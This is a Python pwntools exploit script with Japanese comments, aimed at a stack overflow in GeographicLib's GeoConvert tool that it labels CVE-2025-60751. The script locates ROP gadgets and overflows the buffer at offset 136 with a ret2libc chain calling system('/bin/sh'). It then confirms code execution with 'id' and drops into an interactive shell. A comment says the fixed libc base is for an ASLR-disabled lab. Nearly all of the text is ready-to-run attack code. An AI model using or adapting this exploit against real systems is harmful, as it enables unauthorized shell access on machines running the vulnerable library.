-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now

#!/usr/bin/env python3
from pwn import *

# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# 作成者: 堅牢性のためにリファクタリング
# --- --- ---

context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'

def exploit():
    # 1. プロセス管理 (ローカル vs リモート)
    if args.GDB:
        io = gdb.debug([elf.path], gdbscript="""
            b *main
            continue
        """)
    else:
        # ASAN は適切に管理しないとオフセットに干渉する可能性がある
        io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})

    # 2. 動的ガジェット検出
    rop = ROP(elf)
    POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
    RET = rop.find_gadget(['ret'])[0]
    
    log.info(f"Gadget POP RDI: {hex(POP_RDI)}")

    # 3. ASLR バイパスのためのメモリリーク
    # 実際の環境では: leak + libc-database または libc.rip を使用。
    # ここでは制御されたラボ環境（ASLR=off）のみのために固定ベースを使用。
    LIBC_BASE = 0x7ffff7a00000  # 例 — 本番環境では動的にすべき！
    SYSTEM = LIBC_BASE + 0x5d110
    BINSH  = LIBC_BASE + 0x1b1ea4
    EXIT   = LIBC_BASE + 0x4c340

    # 4. ペイロードの構築 (クリーンかつアラインされた構造)
    offset = 136
    
    chain = [
        b"A" * offset,
        p64(RET),      # スタックアライメント (最新の Ubuntu/Debian で重要)
        p64(POP_RDI),
        p64(BINSH),
        p64(SYSTEM),
        p64(EXIT)
    ]
    
    payload = b"".join(chain)

    # 5. 実行と検証
    log.info("Sending payload and spawning shell...")
    io.sendline(payload)
    
    io.clean()
    io.sendline(b"id")
    res = io.recvline(timeout=2)
    
    if b"uid=" in res:
        log.success("Pwned! enjoy your shell.")
        io.interactive()
    else:
        log.error("Exploit failed or no output received.")
        io.close()

if __name__ == "__main__":
    exploit()